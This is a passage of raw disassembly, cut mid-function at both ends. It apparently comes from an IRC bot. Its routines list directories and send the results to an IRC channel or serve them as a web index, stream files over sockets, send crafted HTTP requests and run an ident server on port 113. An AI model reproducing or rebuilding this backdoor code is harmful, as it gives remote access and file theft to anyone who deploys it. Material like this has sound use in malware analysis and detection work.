var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_427124	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_42711C	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_427118	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		call	dword_427080	; Sleep


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		call	dword_427000	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4270F8	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		call	dword_427114	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_427128	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4270EC	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		call	dword_427070	; CloseHandle


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4CBA54	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C	; closesocket
		call	dword_4CB92C	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BFD	proc near		; DATA XREF: sub_401221+445o
					; sub_401ACD+438Bo

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4CB9D4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4CBA54	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4CBA00	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: sub_410BFD+EAj
					; sub_410BFD+14Dj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4CBA68	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_410D5C
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB9EC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	[ebp+var_8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: sub_410BFD+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: sub_410BFD+47j
					; sub_410BFD+6Bj ...
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: sub_410BFD+162j
		push	ebx
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410BFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DAB	proc near		; DATA XREF: sub_401ACD+605Do

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4CB9D4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4CBA54	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410F17
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA00	; bind
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4CB9FC	; listen
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: sub_410DAB+C6j
					; sub_410DAB+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA68	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410F3C
		push	esi
		push	esi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E924[ecx], eax
		jz	short loc_410F02


loc_410EEF:				; CODE XREF: sub_410DAB+155j
		cmp	[ebp+var_30], esi
		jnz	loc_410E5B
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_410EEF
; ---------------------------------------------------------------------------


loc_410F02:				; CODE XREF: sub_410DAB+142j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435190
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: sub_410DAB+63j
					; sub_410DAB+97j ...
		mov	edi, [ebp+arg_0]


loc_410F1A:				; CODE XREF: sub_410DAB+16Aj
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_40]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_410DAB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F3C	proc near		; DATA XREF: sub_410DAB+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
